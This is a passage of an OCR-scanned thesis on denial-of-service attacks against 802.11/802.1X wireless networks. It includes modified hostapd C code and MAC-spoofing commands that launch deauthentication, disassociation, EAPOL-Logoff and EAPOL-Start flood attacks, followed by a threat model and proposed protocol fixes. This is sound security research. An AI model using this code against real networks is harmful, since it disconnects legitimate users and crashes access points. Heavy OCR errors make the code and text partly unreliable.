OS/Network  and  Protocol  Weakness  DoS  attacks.  These  main  categories  are  divided  into 
sub-categories.  The  specifications  and  characteristics  of  each  sub-category  of  DoS  attacks 
are  explained  in  detail. 

The  categorization  of  DoS  attacks  presented  in  this  chapter  will  provide  a  basis 
for  the  DoS  attack  implementation  in  Chapter  V.  The  various  attack  implementations 
based  on  the  categorization  schema  will  be  discussed.  The  security  protocols  will  be 
evaluated  in  order  to  provide  a  security  mechanism  for  each  sub-category  DoS  attack. 
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V.  ATTACK  IMPLEMENTATION  AND  EVALUATION 


A.  INTRODUCTION 

This  chapter  describes  a  set  of  DoS  attack  scenarios  with  a  simple  tool  derived 
from  the  hostap  access  point  source  code.  In  addition,  this  chapter  describes  a  threat 
model  based  on  the  vulnerability  taxonomy  presented  in  Chapter  IV.  The  threat  model  is 
used  to  determine  the  security  requirements  specific  to  DoS  attacks.  These  requirements 
are  necessary  to  secure  the  WLANs  against  such  attacks.  Finally,  this  chapter  will  discuss 
how  to  enhance  the  802.11,  the  802.  IX  and  the  802.111  protocols  to  meet  the  security 
requirements  critical  to  preventing  or  reducing  the  risk  of  attack. 

B,  DENIAL  OF  SERVICE  ATTACK  SCENARIOS 

A  previous  thesis,  by  Selcuk  Ozturk  [10],  demonstrated  a  DoS  attack  by  spoofing 
the  victim’s  MAC  address  and  sending  a  malicious  deauthentication  packet.  In  this 
section,  additional  DoS  attack  scenarios  will  be  demonstrated  using  a  simple  tool  derived 
from  the  hostap  source  code.  These  attacks  will  prove  the  weaknesses  of  the  protocols 
and  show  the  utility  of  the  test-bed.  The  setup  of  the  test-bed  was  explained  in  Chapter 
III.  Therefore,  only  the  infrastructure,  modified  code,  and  analysis  of  the  attacks  will  be 
discussed  in  this  section. 

1.  Attack  Infrastructure 

The  attack  infrastructure  is  slightly  different  from  the  existing  test-bed.  A  WinXP 
supplicant  with  a  WLAN  54g  W450  embedded  wireless  card  was  added  to  the  open- 
source  test-bed  while  DoS  attacks  were  being  created.  So,  two  WinXP  supplicants  served 
the  role  of  legitimate  clients.  A  Linux  machine  running  FreeRADIUS  was  used  as  the 
authenticator  server.  The  D-Link  DWL  7000  access  point  was  chosen  for  the  role  of  the 
legitimate  authenticator. 

As  an  attacker  system,  hostap  was  used  in  the  access  point  mode  since  it  provides 
flexibility  for  changing  the  MAC  address  and  modifying  the  source  code.  A  laptop 
running  the  Ethereal  packet  sniffer  with  the  embedded  wireless  card  was  used  to  verify 
the  attacks.  Figure  15  shows  the  attack  infrastructure. 
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Figure  15.  Attack  Infrastructure 

2,  Modification  of  the  Hostap  Source  Code 

The  drivers  and  utilities  package  that  are  part  of  the  hostAP  tarball  are  enough  to 
run  the  Linux  machine  as  a  hostap  access  point.  In  addition,  the  hostap  daemon  must  be 
installed  in  the  open-source  test-bed  optionally  and  compiled,  along  with  its  drivers,  in 
order  to  use  the  counterfeit  access  point  as  an  attack  platform.  This  daemon  will  transfer 
all  access  point  functionalities  from  the  driver  level  to  the  user  level.  Thus,  the  daemon 
provides  flexibility  to  modify  and  manipulate  the  source  code  of  the  hostap  access  point 
for  the  user.  The  user  only  needs  to  recompile  the  changed  C  file  and  re-link  the  code 
modules  in  order  for  the  changes  to  take  effect.  It  does  not  require  any  kernel 
recompilations  and  module  reinitializations. 

The  hostap  authenticator  source  code  was  examined  before  the  manipulation  of 
the  code.  Most  of  the  functions  that  are  embedded  into  different  C  files  can  be  called 
externally.  This  feature  provides  great  flexibility  for  the  user  to  manipulate  the  code.  The 
“hostapd.c”  file  includes  the  main  function,  which  controls  all  the  other  files  and  headers. 
Table  1  shows  important  file  definitions  for  the  hostap  access  point  source  code. 
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hostapd.c 

main  daemon  which  controls  other  files 

config.c 

configuration  file  parsing  and  data  structure  definition 

driver.c 

helper  function  for  configuring  hostap  kernel  driver 

sta  info.c 

keeps  all  authenticated  supplicant’s  information 

ieee802_ll.c 

management  frame  sending  and  processing  file 

ieee802  11  auth.c 

access  control  list  for  802.1 1  authentication 

ieee802  lx.c 

receives  and  sends  EAP  and  EAPOE  packets 

eapol  sm.c 

keeps  track  of  all  clients  for  802.  IX  state  machine 

accounting. c 

sends  RADIUS  Accounting  start  and  stop  messages  to  the  RADIUS 

eloop.c 

for  registering  timeout  calls,  signal  handlers  and  socket  read  events 

radius,  c 

RADIUS  message  generation  and  parsing  functions 

receive.c 

receive  all  incoming  frames  from  the  kernel  driver  via  wlan 
interface 

Table  1 .  File  Definitions  in  Hostap 

There  are  three  different  operation  modes  for  hostap.  These  modes  are  examined 
to  decide  which  mode  is  suitable  for  the  desired  attacks.  Each  of  them  has  tradeoffs.  For 
example,  the  monitor  mode  only  receives  and  parses  the  packets,  and  the  hostap  does  not 
transmit  any  packets  in  this  mode.  Since  the  attacks  depend  on  sending  spoofed  and 
malformed  packets,  the  hostap  is  used  in  the  master  mode.  But  the  master  mode  has 
disadvantages  that  show  all  beacon  frames  from  legitimate  access  points.  It  is  difficult  to 
follow  the  program  when  all  beacons  are  written  on  the  screen.  This  mode  is  the  default 
for  the  hostap  software.  The  following  command  can  be  used  for  changing  the  hostap 
mode  into  the  master  mode. 

iwconfig  wlanO  mode  Master 

Before  the  implementation  of  the  attacks,  the  eloop_run(  )  function  was  disabled 
since  the  hostap  source  code  would  not  be  used  as  an  access  point  during  the  attack 
phase.  The  hostap  source  code  is  only  used  as  a  packet  sender.  The  following  four 
different  DoS  attacks  are  implemented  by  modifying  the  hostap  source  code. 

•  Deauthentication  DoS  attack 

•  Disassociation  DoS  attack 
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•  EAPOL-Logoff  DoS  attack 

•  Resource  Exhaustion  with  EAPOE-Start  paekets 

The  following  C  eode  is  inserted  into  the  main  funetion  of  the  hostapd.e  file.  The 
infinite  “for  loop”  will  prompt  the  user  for  the  seleetion  of  the  attaek.  The  user  ean  launeh 
different  attaeks  eonseeutively. 


/*removed  from  original  hostap  source  code  to  disable  incoming 
frames*/ 

//  eloop  run  ( ) ; 

int  orh; 
for ( ; ; ) { 

beacon 

printf ( " \n - 

printf ( " \nFor  deauthentication  DoS  attack  enter  1:"); 
printf (" \nFor  disassociation  DoS  attack  enter  2:"); 
printf (" \nFor  EAPOL-Logoff  DoS  attack  enter  3:"); 
printf (" \nFor  Resource  Exh.  EAPOL-Start  attack  enter  4: 
printf (" \nFor  exit  enter  5:"); 

printf ( " \n - 

==")  ; 

")  ; 

=")  ; 

/*  reading  from  keyboard*/ 
scanf ("%d", &orh) ; 

if (orh==l ) { 

u8  addr[ETH  ALEN] ; 
memset(addr,  Oxff,  ETH  ALEN); 
ieee802  11  send  deauth ( &hapd,  addr, 

WLAN  REASON  PREV  AUTH  NOT  VALID) ; 
printf ( "Deauthentication  DoS  attack  launched"); 

} 

if (orh==2 ) { 

u8  addr[ETH  ALEN]={0x00,  OxOb,  Oxcd,  0x75,  0x8a, 
ieee802  11  send  disassoc ( &hapd,  addr, 

WLAN  REASON  DISASSOC  DUE  TO  INACTIVITY) ; 
printf ( "Disassociation  DoS  attack  launched\n" ) ; 

} 

0x84}; 

if (orh==3) { 

u8  addr[ETH  ALEN]={0x00,  OxOb,  Oxcd,  0x75,  0x8a, 

struct  sta  info  s; 

memcpy ( s . addr ,  addr,  ETH  ALEN); 

ieee802  lx  send ( &hapd, &s , 

IEEE802  IX  TYPE  EAPOL  LOGOFF, NULL, 0 ) ; 
printf ( "eapol  logoff  DoS  attack  launched\n" )  ; 

} 

0x84}; 

if (orh==4 ) { 

int  count; 

u8  addr[ETH  ALEN]={0x00,  0x05,  0x5d,  0x99,  0x60, 

0xa6 } ; 
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struct  sta_info  s; 

memcpy ( s . addr ,  addr,  ETH  ALEN) ; 

for (count=0; count<100; count++) { 


ieeeS  02_lx_send ( &hapd,  &  s , 

IEEE802_1X_TYPE_EAPOL_START,NULL,  0)  ; 

} 

printf ( "Resource  Exh.  attack  launched\n" ) ; 

} 

if (orh==5) { 

printf ("halt  the  program\n" ) ; 
break; 

} 

printf ( "please  enter  the  correct  value\n")*/ 
}/*for  loop  end*/ 


Table  2.  The  Modified  Hostap  Souree  Code 


Before  launehing  the  DoS  attaeks,  legitimate  supplieants  are  authenticated  with 
the  legitimate  access  point  to  represent  the  normal  network  connectivity.  The  ethereal 
software  is  used  to  verify  this  message  exchange.  The  filter  is  applied  to  Ethereal  so  that 
it  shows  only  related  packets.  Figure  16  shows  this  message  sequence. 


Figure  16.  Fegitimate  Client  Authentication 
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After  the  legitimate  connection  of  the  supplicants,  the  access  point  MAC  address 
is  spoofed  for  the  first  three  attacks.  The  attacker  will  send  the  deauthentication, 
disassociation,  and  EAPOL-Logoff  packets  on  behalf  of  the  legitimate  access  point.  The 
following  command  is  used  to  change  the  MAC  address  in  the  Linux  OS  and  to  run  the 
modified  code.  It  is  not  necessary  to  spoof  the  ESSID  of  WLAN  since  it  is  embedded  in 
“hostapd.conf  ’  file.  Eigure  17  shows  the  interface  of  the  attacker  program. 

ifconfig  wlanO  hw  ether  XX:XX:XX:XX:XX:XX 

./hostapd  -d  hostap.conf 


Eigure  17.  Attacker  Program  Interface 

According  to  the  user  interface,  respectively,  the  first,  third,  and  fourth  attacks 
will  be  discussed  in  detail  since  the  disassociation  DoS  attack  gives  the  same  result  when 
it  is  compared  to  the  first  attack.  Only  the  function  and  its  parameters  are  different. 
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First  Attack:  The  forge  deauhentication  paeket  was  created  for  this  attack.  The 
function  ieee802_l  l_send_deauth(  )  was  externally  called  from  the  hostapd  main 
function  passing  the  required  parameters.  The  destination  MAC  address  and  the  reason 
code  of  the  deauthetication  are  enough  to  create  this  packet.  This  packet  was  destined  to 
both  legitimate  supplicants  by  using  the  broadcast  address  (oxff).  After  the  legitimate 
supplicants  receive  these  packets,  the  supplicants  are  immediately  disconnected  from  the 
network.  They  then  remain  disconnected  until  the  attacker’s  MAC  address  is  changed 
from  that  of  the  valid  access  point. 

Ozturk’s  thesis  [10]  achieved  this  attack  by  implicitly  running  the  hostapd  source 
code  instead  of  modifying  the  source  code. 

Third  Attack:  A  spoofed  EAPOL-Logoff  packet  was  created  by  passing  the 
required  parameters  to  the  ieee802_lx_send(  )  function.  The  parameters  include  a 
hostapd  object,  a  sta_info  struct,  the  subtype  of  the  EAPOL  frame,  the  data,  and  the  data 
length.  Since  the  EAPOE-Eogoff  frame  does  not  encapsulate  an  EAP  frame,  the  data  and 
data  length  must  be  NULE  and  zero  respectively.  The  sta_info  struct  only  contains  the 
destination  MAC  address. 

Eirst,  the  destination  MAC  address  was  set  to  the  broadcast  address  (Oxff)  but 
both  legitimate  clients  did  not  accept  this  packet,  since  the  packet  is  not  sent  to  the 
specific  client.  So  the  packet  was  sent  to  the  MAC  address  of  the  Supplicant  2 
(00;0B:CD;75;8A:84).  The  Supplicant  2  was  immediately  disconnected  from  the  network 
after  receiving  the  forge  EAPOE-Eogoff  packet  and  tried  to  reinitiate  the  authentication 
phase.  However,  the  consecutive  EAPOE-Eogoff  DoS  attacks  prevented  the  Supplicant  2 
from  reauthentication. 

Fourth  Attack:  Eor  the  EAPOE-Start  flood  attack,  the  same  ieee802_lx_send(  ) 
method  was  used  by  changing  the  subtype  parameter.  The  aim  of  this  attack  is  to  flood 
the  legitimate  access  point  by  sending  a  huge  number  of  EAPOE-Start  packets.  Since  the 
EAPOE-Start  packet  is  originally  sent  after  association,  one  of  the  associated  supplicant’s 
MAC  addresses  is  spoofed. 

Eor  each  execution  of  the  attack,  one  hundred  bogus  EAPOE-Start  packets  were 
sent  to  the  legitimate  access  point.  The  attack  was  executed  four  times  at  five  seconds 
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intervals  so  as  not  to  overwhelm  the  attacker  buffer  space.  After  sending  four  hundred 
packets,  both  supplicants  were  still  in  the  “authentication  succeeded”  phase.  In  fact,  they 
could  not  connect  to  network  resources  since  the  legitimate  access  point  could  not  handle 
their  request.  Figure  18  shows  the  bogus  EAPOL-Start  packets  captured  by  the  Ethereal 
packet  sniffer. 


<capture>  -  Ethereal 


File  Edit  Capture  Display  Tools 

Helf 

No. ,  |Ttme  |source 

1  Destination 

1  Protocol 

jlnfci 

1 

364  24.590594  D-Link.d9:57:59 

D-Link  99:60:a6 

EflPOL 

Start 

365  24.602504  D-Link_d9:57:59 

D-Link_99:60:a6 

E8P0L 

Start 

366  24.613042  D-Link.d9:57:59 

D-Link.99:60:a6 

EflPOL 

Start 

367  24.621478  D-Link  d9:57:59 

D-Link  99:60:a6 

EflPOL 

Start 

368  24.634574  D-Link_d9:57:59 

D-Link_99:60:a6 

EflPOL 

Start 

369  24.647601  D-Link_d9:57:59 

D-Link_99:60:a6 

EflPOL 

Start 

370  24.653948  D-Link.d9:57:59 

D-Link.99:60:a6 

EflPOL 

Start 

371  24.664370  D-Link.d9:57:59 

D-Link_99:60:a6 

EflPOL 

Start 

372  24.676978  D-Link_d9:57:59 

D-Link_99:60ja6 

EflPOL 

Start 

373  24.682378  D-Link_d9:57:59 

D-Link_99:60:a6 

EflPOL 

Start 

374  24.692449  D-Link_d9:57:59 

D-Link_99;60:a6 

EflPOL 

Start 

375  24.709295  D-Link_d9:57:59 

D-Link_99:60:a6 

EflPOL 

Start 

376  24.722570  D-Link.d9:57:59 

D-Link.99:60:a6 

EflPOL 

Start 

377  24.730016  D-Link.d9:57:59 

D-Link.99:60:a6 

EflPOL 

Start 

378  24.736518  D-Link_d9:57:59 

D-Link_99:60:a6 

EflPOL 

Start 

379  24.744383  D-Link_d9:57:59 

D-Link_99:60:a6 

EflPOL 

Start 

380  24.753937  D-Link_d9:57:59 

D-Link_99:60:a6 

EflPOL 

Start 

381  24.763640  D-Link_d9:57:59 

D-Link_99:60:a6 

EflPOL 

Start 

382  24.771386  D-Link.d9:57:59 

D-Link.99:60:a6 

EflPOL 

Start 

383  24.779773  D-Link.d9:57:59 

D-Link_99:60:a6 

EflPOL 

Start 

384  24.792954  D-Link_d9:57:59 

D-Link_99:60ia6 

EflPOL 

Start 

385  24.804051  D-Link_d9:57:59 

D-Link_99:60:a6 

EflPOL 

Start 

386  24.811092  D-Link_d9:57:59 

D-Link_99:60:a6 

EflPOL 

Start 

387  24.819084  D-Link_d9:57:59 

D-Link_99:60:a6 

EflPOL 

Start 

388  24.826176  D-Link.d9:57:59 

D-Link_99:60:a6 

EflPOL 

Start 

389  24.833552  D-Link.d9:57:59 

D-Link.99:60:a6 

EflPOL 

Start 

390  24.842288  D-Link_d9:57:59 

D-Link_99:60:a6 

EflPOL 

Start 

391  24.856225  D-Link_d9:57:59 

D-Link_99:60:a6 

EflPOL 

Start 

392  24.861181  D-Link_d9:57:59 

D-Link_99:60:a6 

EflPOL 

Start 

393  24.874642  D-Link.d9:57:59 

D-Link_99i60:a6 

EflPOL 

Start 

394  24.886156  D-Link.d9:57:59 

D-Link_89;60ja6 

EflPOL 

Start 

395  24.895570  D-Link.d9:57:59 

D-Link_99:60ia6 

EflPOL 

Start 

396  24.904968  D-Link_d9:57:59 

D-Link_99:60:a6 

EflPOL 

Start 

397  24.915430  D-Link_d9:57:59 

D-Link_99;60:a6 

EflPOL 

Start 

398  24.929083  D-Link_d9:57:59 

D-Link_99:60:a6 

EflPOL 

Start 

0000  00  05  5d  99  60  a6  00  05  5d  d9  57  59  88  8e  01  01  J.UY.... 

0010  00  00 

Filter:|| 

|v||Re$et||Apply|  File: <capture>  Drops:  0 

i 

m 

root<®localho5t:~ 

9  11:06  PM 

€> 

<capture>  -  Ethereal 

Eigure  18.  EAPOE-Start  Flooding  Attack 

3,  Analysis  of  the  Attacks 

The  deauthetication  and  disassociation  DoS  attacks  were  successful.  After 
sending  only  one  forge  packet,  the  victims  were  disconnected  from  the  network. 
Supplicant  1  gained  connectivity  after  a  few  seconds,  but  Supplicant  2  stayed  in  the 
“validating  identity”  phase  until  the  attacker’s  MAC  address  was  changed  so  that  it  no 
longer  spoofed  Supplicant  2.  The  difference  was  the  result  of  confusion  due  to  two  hosts 
having  the  same  MAC  address. 


50 


The  result  for  the  EAPOL-Logoff  DoS  attack  was  also  successful.  After  the 
victim  was  disconnected  from  the  network,  the  victim  reinitiated  the  EAP-TLS  session. 
However,  consecutive  bogus  packets  prevented  the  victim  from  gaining  the  requested 
network  connectivity. 

The  most  effective  DoS  attack  is  the  EAPOL-Start  Elood  attack,  which 
overwhelms  the  access  point’s  buffer  space.  After  receiving  400  forged  packets,  sent  by 
the  attacker,  the  legitimate  access  point  was  unable  to  respond  to  any  client.  In  fact,  the 
access  point  needed  to  be  rebooted  after  this  attack  in  order  to  free  its  buffer  space. 

This  thesis  has  demonstrated  that  all  protocol  specific  types  of  DoS  attack  can  be 
launched  easily  against  current  WLAN  protocols.  On  one  hand,  the  authenticator  in  the 
test-bed  only  allows  manipulation  of  the  management  frames.  So,  the  deauthentication 
and  disassociation  frames  for  the  802.11  protocol  and  802.  IX  frames  must  be  created  by 
the  user.  On  the  other  hand,  the  control  frames  including  RTS,  CTS  and  ACK  packets, 
which  are  used  in  virtual  carrier-based  DoS  attacks,  cannot  be  modified  by  the  hostap 
authenticator  in  the  user  level;  even  though  the  attacker  circumvents  the  frame  fields,  the 
wireless  card  firmware  will  overwrite  these  fields  with  appropriate  values  before 
transmission.  These  attacks  can  only  be  launched  with  external  packet  creators  such  as 
the  Agilent  Signal  Generator. 

C.  EVALUATION  OF  THE  DENIAL  OF  SERVICE  ATTACKS 

This  section  will  present  a  threat  model  and  discuss  the  802.11,  802.  IX  and  the 
802.111  protocols  from  the  perspective  of  the  DoS  attacks.  The  weaknesses  and  the 
strengths  of  these  protocols,  regarding  the  DoS  attacks,  will  be  evaluated.  The  DoS  attack 
taxonomy  presented  in  Chapter  IV  is  used  to  generalize  the  proposed  solutions. 

1.  Threat  Model 

A  thread  model  is  required  to  determine  whether  or  not  WLANs  are  vulnerable 
against  DoS  attacks.  This  model  will  provide  a  method  to  analyze  and  evaluate  the 
security  requirements  and  solutions.  The  model  is  described  below. 
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Preconditions: 


a)  WLANs  are  widely  deployed  in  companies,  schools,  governments,  and 
military  sectors. 

b)  Many  of  the  casual  or  naive  users  are  unaware  of  the  importance  of  security 
and  most  of  these  WLANs  are  used  without  activating  the  authentication  and 
encryption  mechanisms. 

c)  The  802. 1 1  and  802.  IX  protocols  used  in  WLANs  have  vulnerabilities  against 
DoS  attacks. 

d)  Packet  sniffers  and  open-source  tools  for  creating  spoofed  packets  are  freely 
available  on  the  Internet. 

Threats: 

a)  An  attacker  attempts  to  flood  the  victim  resources  by  sending  associate 
response  packets. 

b)  An  attacker  mounts  a  DoS  attack  by  sending  unauthorized  management 
frames,  including  deauthentication  and  disassociation  packets. 

c)  An  attacker  sends  spoofed  control  frames,  including  RTS,  CTS  and  packets  in 
order  to  launch  virtual  carrier-sense  DoS  attacks. 

d)  An  attacker  sends  spoofed  EAPOL-Logoff  and  EAP-Failure  packets  to  launch 
DoS  attacks. 

e)  An  attacker  sends  malformed  or  mistimed  messages  to  an  AP  to  crash  the  AP. 

Security  Requirements: 

a)  The  protection  of  control  and  management  frames  must  be  provided  with  per- 
packet  authentication. 

b)  WLANs  must  provide  mutual  authentication  between  the  access  point  and 
client  stations. 

c)  The  protocols  used  in  WLANs  must  be  coupled  flawlessly  to  avoid  the  DoS 
attacks. 
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d)  AP  software  must  be  stress  tested. 


2.  Evaluation  of  802.11,  802. IX  and  80211i  Protocols 

Analyzing  the  strength  and  weaknesses  of  these  protoeols  in  DoS  attacks  will 
determine  whether  or  not  the  use  of  a  particular  protocol  is  suitable  for  WLANs. 
Basically,  the  802. IX  protocols  are  designed  for  use  in  wired  networks.  The  802.1  li  task 
group  recommends  using  this  protocol  on  top  of  the  existing  802.11  protocol,  which  is 
severely  flawed.  The  attacker  who  mounts  DoS  attacks  against  wireless  networks  usually 
exploits  the  holes  between  these  protocols.  Merging  the  802.11  and  802.  IX  state 
machines  is  problematic. 

The  802.1 1  protocol  enables  authentication  to  be  performed  before  the  association 
by  allowing  the  supplicants  to  authenticate  more  than  one  access  points  while  associating 
with  only  one.  However,  the  802.  IX  authentication  occurs  after  the  802.11  association  is 
established.  Figure  19  shows  the  state  machines  of  these  processes. 

The  supplicant  that  uses  the  802.  IX  protocol  will  receive  an  EAP-Success  packet 
for  the  successful  authentication.  Consequently,  the  authentication  server  will  provide  a 
key  with  the  EAP-Key  packet  for  the  confidentiality  and  integrity  of  the  data  packets.  It  is 
obvious  that  the  802.  IX  protocol  does  not  provide  security  for  management  frames.  This 
protocol  only  provides  for  the  authenticity  of  the  supplicants  and  the  protection  of  the 
data  packets.  In  addition,  the  protocol  opens  new  holes  for  DoS  attacks.  The  EAPOE- 
Eogoff,  EAP-Eailure  packets  that  are  used  by  this  protocol  are  subject  to  spoofing  and  an 
attacker  can  use  these  types  of  packets  to  launch  DoS  attacks. 

According  to  the  state  machine  of  the  802.  IX  protocol,  there  are  two  apparent 
causes  for  the  vulnerabilities  to  DoS  attacks.  One  of  them  is  the  802.  IX  protocol  itself 
and  the  other  one  is  the  loose  coupling  of  the  802.11  and  802.  IX  protocols.  The  state 
machines  of  both  protocols  were  examined  in  order  to  mitigate  the  effects  of  the  DoS 
attacks.  The  following  two  solutions  are  proposed  against  DoS  attacks  in  the  802.  IX 
protocol. 
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Discarding  the  Deauthentication  Frames:  According  to  the  state  maehine 
presented  in  Figure  19,  the  supplicant  can  still  receive  and  process  Class  1,2,  and  3 
frames  even  though  the  802.  IX  authentication  and  association  are  achieved.  If  the 
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supplicant  receives  a  deauthentication  frame  in  State  3  and  4,  it  will  immediately  return 
to  State  1,  which  is  the  “unassoeiated  and  unauthentieated”  state. 

Since  the  deauthentication  of  the  supplicant  is  handled  by  EAPOL-Logoff  frames 
in  the  802.  IX  protoeol,  it  is  not  neeessary  to  proeess  deauthentieation  frames  in  all  states, 
ereating  a  situation  where  an  unexpected  deauthentication  frame  is  mishandled.  This 
approaeh  makes  State  2  unnecessary,  since  the  authentieation  process  takes  plaee  in  the 
upper  layer  rather  than  the  MAC  layer  in  the  802.  IX  protoeol.  The  new  state  maehine  for 
this  approaeh  is  presented  in  Figure  20. 


Figure  20.  Modified  State  Maehine  for  802.  IX  Protoeol 

The  modified  state  maehine  will  not  allow  any  authentieation  frame  from  the 
802.11  protocols.  The  modification  can  be  applied  to  the  802.  IX  protoeol  by  only 
ehanging  the  state  variables  rather  than  ehanging  the  whole  MAC  layer.  For  example,  if 
the  supplicant  or  the  access  point  receives  the  type  “00”  and  subtype  “”1011”  or  “1100” 
of  the  frame  indicating  the  authentication  and  deauthentication  packet  respectively,  then 
all  the  state  variables  remain  unehanged,  thus  preventing  the  state  transition. 
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This  approach  will  only  solve  the  deauthentieation  DoS  attaek  sub-eategory  in  the 
elassification  framework.  However,  this  approaeh  is  still  vulnerable  to  disassoeiation  DoS 
attaeks. 

Protecting  the  Management  Frames  :  Management  frames  must  be  authentieated 
and  proteeted  against  DoS  attaeks.  Two  approaehes  are  possible  for  authentieating 
management  frames,  ineluding  Assoeiation  request/response,  Reassoeiation 
request/response,  Disassoeiation  and  Deauthentieation. 

•  Using  eiphers  sueh  as  WEP,  TKIP  or  WRAP  to  authentieate  and  to  enerypt 
management  frames. 

•  Authentieator  information  in  management  frames 

The  use  of  a  eipher  is  more  suitable  sinee  this  proeess  only  requires  hardware 
support  for  eryptographie  operations.  However,  the  use  of  a  eipher  for  proteeting  the 
management  frames  simplifies  the  key  hierarehy  sinee  existing  keying  material  is  used 
for  enerypting  management  frames  as  well  as  data.  If  WEP  ciphersuite  is  used  to  protect 
the  management  frames,  then  the  shared  seeret  will  be  used  as  a  keying  material  between 
the  supplieant  and  authentieator.  If  TKIP  or  WRAP  is  used  as  a  ciphersuite,  then  the  4- 
way  handshake  is  used  to  derive  a  Pairwise  Master  Key  (PMK)  as  a  keying  material  prior 
to  the  exehange  of  the  management  frames. 

The  aecess  point  and  supplieant  capabilities  are  exchanged  during  the  assoeiation 
phase,  so  the  seleetion  of  the  eiphersuite  is  deeided  in  the  Assoeiation/Reassoeiation 
request.  The  receiving  supplicant  does  not  know  whieh  eiphersuite  is  selected  before 
reeeiving  the  enerypted  management  frames.  So,  the  reeeiving  end  will  deerypt  the 
assoeiation  request/response  frames  with  all  available  eiphersuites  in  order  to  find  whieh 
ciphersuite  is  ehosen. 

In  the  802.  IX  protoeol,  the  WEP  key  ean  be  used  for  eneryption  of  the  frame. 
Sinee  WEP  is  a  shared  key  it  will  simplify  the  key  management.  However,  well-known 
flaws  of  WEP  make  this  eiphersuite  vulnerable  to  various  types  of  attaeks.  So,  the 
802.1  li  workgroup  proposed  the  use  of  the  Temporal  Key  Integrity  Protoeol  (TKIP)  as  a 
ciphersuite  to  avoid  the  WEP  vulnerabilities. 
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The  Message  Integrity  Check  (MIC)  must  be  used  to  protect  the  entire 
management  frame,  including  the  frame  control,  duration,  sequence  control,  and  frame 
bodies.  So,  the  encryption  needs  to  be  applied  to  the  MAC  Protocol  Data  Unit  (MPDU) 
to  cover  these  fields. 

Another  approach  proposed  by  the  802.1  li  workgroup  to  protect  the  management 
frames  is  the  addition  of  authenticator  information  to  these  frames.  The  ciphersuite  and 
MIC  were  originally  used  for  the  protection  of  the  data  frames.  A  new  field  in  the  frame 
format  can  be  defined  as  the  authenticator  information  for  the  pertinent  part  of  the 
frames.  This  approach  will  eliminate  the  negotiation  of  the  cipersuite  prior  to  sending 
authenticating  management  frames. 

The  authenticator  information  element  includes  algorithm  type,  MIC,  replay 
counter,  and  length.  The  algorithm  supported  by  the  802.1  li  protocol  is  HMAC-SHAl. 
This  algorithm  calculates  the  MIC  of  the  desired  field  of  the  frame.  When  the  peer 
supplicant  receives  the  frame,  it  will  calculate  the  MIC  to  ensure  the  authenticity  and 
integrity  of  the  management  frame. 

Protecting  the  management  frames  will  secure  the  WLANs  against  protocol-based 
DoS  attacks  in  the  classification  schema.  These  two  approaches  can  be  applied  to  control 
frames  to  protect  the  integrity  and  authenticity  of  the  packets  to  secure  the  WLANs 
against  virtual  carrier-sense  DoS  attacks. 

D,  SUMMARY 

In  this  chapter,  four  different  DoS  applications  are  presented,  each  executed  by 
modifying  the  hostap  source  code.  The  structure  of  the  hostap  C  files  and  relations 
between  these  files  are  discussed  to  provide  a  direction  for  future  research. 

A  threat  model  is  defined  to  determine  the  security  requirements  of  the  WLANs 
for  protection  against  DoS  attacks.  The  strength  and  the  weaknesses  of  the  protocols  are 
evaluated  and  solutions  are  proposed  for  DoS  attacks  in  the  classification  schema 
provided.  The  802.  IX  protocol  designed  on  top  of  the  802.11  protocol  does  not  add 
protection  against  DoS  attacks.  Rather,  it  is  shown  that  this  protocol  opens  new  holes  for 
DoS  attacks. 
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VI.  CONCLUSION  AND  FUTURE  WORK 


A,  CONCLUSION 

This  thesis  primarily  examined  the  Denial  of  Serviee  attacks  in  Wireless 
networks.  First,  the  vulnerabilities  and  the  components  of  the  existing  802.11  and  802.  IX 
wireless  protocols  were  introduced  briefly. 

For  verification  and  analysis  of  DoS  attacks  against  WLANs,  an  802.  IX  test-bed 
was  successfully  built  on  an  IEEE  802.11  wireless  EAN.  The  thesis  explained  in  detail 
how  to  build  and  configure  the  802.  IX  entities:  the  supplicant,  the  authenticator  and  the 
authentication  server.  The  open-source  software  was  used  on  the  Einux  Operating  System 
environment  for  availability  and  ease  of  source-code  manipulation.  This  test-bed 
provided  a  basis  for  the  implementation  of  the  DoS  attacks  in  WLANs. 

This  thesis  provided  a  classification  framework  to  categorize  all  DoS  attacks  in 
both  wired  and  wireless  networks.  The  DoS  attacks  were  classified  into  two  main 
categories:  attacks  on  the  host  operating  system  (OS)  or  network  infrastructure  and 
attacks  that  exploit  specific  weaknesses  of  the  target  protocol.  These  main  classes  were 
branched  into  the  sub-categories  according  to  the  flaws  exploited  by  the  attacker. 

Since  it  is  difficult  to  find  a  solution  to  many  different  types  of  DoS  attack,  this 
classification  framework  helped  us  to  generalize  the  solutions  for  each  category.  When  a 
new  DoS  attack  is  encountered,  the  specification  of  this  attack  can  easily  be  identified 
with  this  schema. 

The  four  different  DoS  applications  are  presented  by  modifying  the  hostap  source 
code.  The  deauthentication  DoS  attack,  the  disassociation  DoS  attack,  the  EAPOL- 
Logoff  DoS  attack  and  EAPOL-Start  flood  DoS  attack  are  successfully  launched  against 
the  legitimate  clients  that  use  the  802.  IX  protocol.  These  attacks  proved  that  the  802.  IX 
protocol  designed  on  top  of  802.11  protocol  does  not  add  any  protection  against  DoS 
attacks,  on  the  other  hand  this  protocol  opens  new  holes  for  DoS  attacks. 

A  threat  model  is  defined  to  determine  the  security  requirements  of  the  WLANs 
for  DoS  attacks.  The  strength  and  the  weaknesses  of  the  existing  protocols  are  evaluated 

and  solution  approaches  are  proposed  against  the  DoS  attacks  to  meet  the  security 
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requirements  of  the  WLANs.  These  approaches  will  mitigate  the  effects  of  DoS  attacks  or 
completely  secure  the  WLANs  for  a  specific  sub-category  of  the  DoS  attacks  defined  in 
classification  schema. 


B,  FUTURE  WORK 

This  thesis  proved  that  malformed  packet  creation  is  easy  with  hostap  source 
code.  In  addition,  the  incoming  packets  can  be  analyzed  by  modifying  the  parse  function 
in  the  hostap  source  code.  With  the  implementation  of  this  packet  analyzer,  an  Intrusion 
Detection  System  (IDS)  for  DoS  attacks  can  be  implemented  with  the  Graphical  User 
Interface  (GUI). 

The  IDS  will  analyze  the  packet  fields  and  warn  the  system  administrator  when 
the  attack  conditions  are  met.  For  example,  consecutive  EAPOL-Start  frames  from  the 
same  MAC  address  can  be  considered  as  an  attack  condition.  If  malformed  packets  are 
captured,  then  the  system  administrator  can  take  precautions  by  discarding  the  malformed 
packets.  This  work  requires  experience  in  C  programming  language  and  the  Linux  OS 
environment. 
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APPENDIX  A 


A.  CERTIFICATE  GENERATOR  CONFIGURATION 
1.  OpenSSL  Configuration  File 

# 

#  OpenSSL  example  configuration  file. 

